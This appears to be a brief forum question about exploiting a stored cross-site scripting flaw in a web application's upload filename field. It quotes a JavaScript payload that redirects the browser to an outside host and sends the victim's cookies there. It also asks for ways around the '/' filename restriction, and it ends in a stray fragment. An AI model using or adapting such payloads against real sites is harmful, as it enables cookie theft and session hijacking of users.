I am trying to exploit a vulnerability in the filename field of a file upload. The web application does not properly validate the filename of the uploaded file and as a result there is a stored cross-site scripting vulnerability.
My problem is that whenever I try to rename the file to include something like the below payload, I can't include /
in the filename.
document.location='http://my_test_server.com/bla.php?cookie='+document.cookie;
Any ideas/payloads? Is it even possible to exploit this vulnerability?
/
on a Unix-based system.